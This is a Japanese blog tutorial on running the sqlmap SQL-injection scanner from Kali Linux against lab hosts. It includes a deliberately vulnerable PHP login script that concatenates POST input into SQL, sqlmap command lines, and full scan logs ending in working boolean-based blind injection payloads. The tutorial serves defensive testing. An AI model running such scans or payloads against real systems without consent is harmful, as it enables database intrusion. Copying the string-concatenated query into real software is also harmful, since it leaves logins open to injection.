Webセキュリティの小部屋

Twitter のフォローはこちらから Facebook ページはこちら RSSフィードのご登録はこちらから
公開日:2014年3月9日

オープンソースの SQL インジェクション脆弱性診断ツールの sqlmap を Kali Linux で使ってみる

はじめに

sqlmap とは、オープンソースで開発されている SQL インジェクションの脆弱性診断ツールです。

対応しているデータベースは、以下のものになります。通常、使用するデータベースはサポートしていると思っていてよいでしょうね。

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

検知できる SQL インジェクションは以下の6種類です。

  • boolean-based blind
  • time-based blind
  • error-based
  • UNION query
  • stacked queries
  • out-of-band

他にも機能はありますが、詳しくは公式サイトをご参照ください。

今回は、脆弱性診断用の Linux ディストリビューションである Kali Linux で、この sqlmap を使用してみます。Kali Linux については、以下の記事を参照してください。

GET パラメータの脆弱性診断

GET パラメーターの脆弱性診断として、WordPress を診断してみます。脆弱性がない状態の WordPress なのですが、使用方法を参考にしてください。

実行するコマンドは以下のようになります。

# sqlmap -u "http://192.168.11.9/index.php?p=1019" --dbms mysql

-u オプションで URL を指定します。--dbms オプションでデータベースの種類を指定することもできます。診断時間を短くするために、データベースの種類が分かる場合は指定しておきましょう。

また、GET パラメーターとして p が付与されていることに注目してください。

sqlmap は この p パラメーターを使って、SQL インジェクションの診断を行います。

このコマンドを実行すると以下のように URL がリダイレクトされているが追跡するか聞いてきます。WordPress の URL をリライトしているためですが、ここでは n を入力して診断を継続します。

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:29:10

[13:29:10] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'http://192.168.11.9/'. Do you want to follow? [Y/n]

すると以下のように、脆弱性なしという結果が表示されます。もともと脆弱性がないことが分かっているので、ここまでで診断を終了します。
[13:30:25] [INFO] testing if the target URL is stable. This can take a couple of seconds
[13:30:26] [WARNING] GET parameter 'p' does not appear dynamic
[13:30:26] [WARNING] heuristic (basic) test shows that GET parameter 'p' might not be injectable
[13:30:26] [INFO] testing for SQL injection on GET parameter 'p'
[13:30:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:30:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:30:28] [INFO] testing 'MySQL inline queries'
[13:30:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:30:28] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:30:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:30:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:30:38] [WARNING] GET parameter 'p' is not injectable
[13:30:38] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')

[*] shutting down at 13:30:38

POST パラメーターの脆弱性診断

今度は、PHP + MySQL のログイン処理で、SQL インジェクションの脆弱性のあるプログラムを診断します。

PHP のプログラムは以下のようになります。SQL 文を文字列で連結するという、典型的な SQL インジェクションの脆弱性があります。

<?php
  require_once 'MDB2.php';
  session_start();

  //パラメーター取得
  $id = $_POST['id'];
  $password = $_POST['password'];

  $count = 0;

  //DB接続
  $db = MDB2::connect('mysql://user01:pass@localhost/Test?charset=utf8');

  $sql = "SELECT COUNT(*) AS CNT FROM LOGIN WHERE ID = '" . $id . "' AND PASSWOR
D = '" . $password . "';";

  $rs = $db->query($sql);

  while ($row = $rs->fetchRow(MDB2_FETCHMODE_ASSOC)) {
      $count = $row['cnt'];
  }

  $db->disconnect();

  $_SESSION['id'] = $id;

  if ($count == 1) {
    echo "ログイン成功";
  } else {
    echo "ログイン失敗";
  }

?>

このプログラムを診断するコマンドは以下のようになります。
# sqlmap -u "http://192.168.11.10/logincheck.php" --data="id=1&password=2" --dbms mysql

ポイントは、--data オプションで POST リクエストのパラメーターを指定しているところです。sqlmap は id と password を自動的にパラメーターと認識し、SQL インジェクションの脆弱性診断を行います。

このコマンドの実行結果は以下のようになります。

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:43:01

[13:43:01] [INFO] testing connection to the target URL
[13:43:01] [INFO] testing if the target URL is stable. This can take a couple of seconds
[13:43:02] [INFO] target URL is stable
[13:43:02] [INFO] testing if POST parameter 'id' is dynamic
[13:43:02] [WARNING] POST parameter 'id' does not appear dynamic
[13:43:02] [WARNING] heuristic (basic) test shows that POST parameter 'id' might not be injectable
[13:43:02] [INFO] testing for SQL injection on POST parameter 'id'
[13:43:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:43:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:43:02] [INFO] testing 'MySQL inline queries'
[13:43:02] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:43:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:43:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:43:03] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:43:03] [INFO] target URL appears to have 1 column in query
[13:43:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:43:03] [WARNING] POST parameter 'id' is not injectable
[13:43:03] [INFO] testing if POST parameter 'password' is dynamic
[13:43:03] [WARNING] POST parameter 'password' does not appear dynamic
[13:43:03] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[13:43:03] [INFO] testing for SQL injection on POST parameter 'password'
[13:43:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:43:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:43:03] [INFO] testing 'MySQL inline queries'
[13:43:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:43:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:43:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:43:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:43:04] [WARNING] POST parameter 'password' is not injectable
[13:43:04] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')
[13:43:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 43 times

[*] shutting down at 13:43:04

Internal Server Error が 43 回発生していますが、SQL インジェクションの脆弱性は検出されていませんね。これは診断のレベルが低いためです。

デフォルトでは Level =0 なのですが、Level は 0 ~ 5 まで指定できます。

今度は、Level = 3 で診断を行ってみます。

# sqlmap -u "http://192.168.11.10/logincheck.php" --data="id=1&password=2" --dbms mysql --level 3

すると以下のように、まず id パラメーターで脆弱性が検出されました。
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:00:13

[14:00:13] [INFO] testing connection to the target URL
[14:00:13] [INFO] testing if the target URL is stable. This can take a couple of seconds
[14:00:14] [INFO] target URL is stable
[14:00:14] [INFO] testing if POST parameter 'id' is dynamic
[14:00:14] [WARNING] POST parameter 'id' does not appear dynamic
[14:00:14] [WARNING] heuristic (basic) test shows that POST parameter 'id' might not be injectable
[14:00:14] [INFO] testing for SQL injection on POST parameter 'id'
[14:00:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:00:15] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[14:00:15] [INFO] POST parameter 'id' is 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable 
[14:00:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[14:00:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[14:00:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[14:00:15] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[14:00:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:00:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[14:00:15] [INFO] testing 'MySQL inline queries'
[14:00:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:00:15] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:00:15] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace'
[14:00:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:00:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[14:00:15] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[14:00:15] [INFO] target URL appears to have 1 column in query
[14:00:15] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[14:00:15] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[14:00:15] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[14:00:16] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[14:00:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:00:16] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[14:00:16] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[14:00:16] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[14:00:16] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[14:00:16] [INFO] checking if the injection point on POST parameter 'id' is a false positive
POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

まだ、パラメーターが残っているので y で診断を継続します。すると、password パラメーターでも脆弱性が検出されました。
[14:03:22] [INFO] testing if POST parameter 'password' is dynamic
[14:03:22] [WARNING] POST parameter 'password' does not appear dynamic
[14:03:22] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:03:22] [INFO] testing for SQL injection on POST parameter 'password'
[14:03:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:03:23] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[14:03:24] [INFO] POST parameter 'password' is 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable 
[14:03:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[14:03:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[14:03:24] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[14:03:24] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[14:03:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:03:24] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[14:03:24] [INFO] testing 'MySQL inline queries'
[14:03:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:03:24] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:03:24] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace'
[14:03:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[14:03:24] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[14:03:24] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[14:03:24] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[14:03:24] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[14:03:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:03:24] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[14:03:24] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[14:03:25] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[14:03:25] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[14:03:25] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

まだ、診断は続くので y で診断を継続します。
[14:05:21] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[14:05:21] [WARNING] User-Agent parameter 'User-Agent' does not appear dynamic
[14:05:21] [WARNING] heuristic (basic) test shows that User-Agent parameter 'User-Agent' might not be injectable
[14:05:21] [INFO] testing for SQL injection on User-Agent parameter 'User-Agent'
[14:05:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:05:21] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[14:05:22] [INFO] testing 'Generic boolean-based blind - Parameter replace (original value)'
[14:05:22] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[14:05:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)'
[14:05:22] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY clauses'
[14:05:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses'
[14:05:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[14:05:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)'
[14:05:23] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)'
[14:05:23] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause'
[14:05:23] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[14:05:23] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[14:05:23] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses'
[14:05:23] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE)'
[14:05:23] [INFO] testing 'MySQL inline queries'
[14:05:23] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[14:05:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[14:05:24] [INFO] testing 'MySQL >= 5.0 time-based blind - Parameter replace'
[14:05:24] [INFO] testing 'MySQL >= 5.0.11 time-based blind - GROUP BY and ORDER BY clauses'
[14:05:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[14:05:24] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'
[14:05:25] [INFO] testing 'MySQL UNION query (NULL) - 11 to 20 columns'
[14:05:27] [INFO] testing 'MySQL UNION query (random number) - 11 to 20 columns'
[14:05:30] [INFO] testing 'MySQL UNION query (NULL) - 21 to 30 columns'
[14:05:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:05:33] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[14:05:34] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
[14:05:37] [INFO] testing 'Generic UNION query (random number) - 11 to 20 columns'
[14:05:39] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
[14:05:43] [WARNING] User-Agent parameter 'User-Agent' is not injectable
sqlmap identified the following injection points with a total of 2146 HTTP(s) requests:
---
Place: POST
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=1' RLIKE IF(6680=6680,0x4d7953514c,0x28) AND 'nFxD'='nFxD&password=2

Place: POST
Parameter: password
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=1&password=2' RLIKE IF(2010=2010,0x4d7953514c,0x28) AND 'PdCM'='PdCM
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: id, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
>

id と password に boolean-based blind の SQL インジェクションの脆弱性が診断結果に表示されました。ここでは q で処理を中断します。

おわりに

ここまで見てきたように、やり方が分かれば sqlmap で SQL インジェクションの脆弱性診断は比較的簡単にできることが分かります。

もっと踏み込んだ使用方法もあるようですが、それは参考サイトを参照してください。

SQL インジェクションは脆弱性の中でも深刻なものなので、こういうツールを活用して脆弱性をなくしていきたいですね。

参考サイト


スポンサーリンク





カテゴリー:ツール

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

CAPTCHA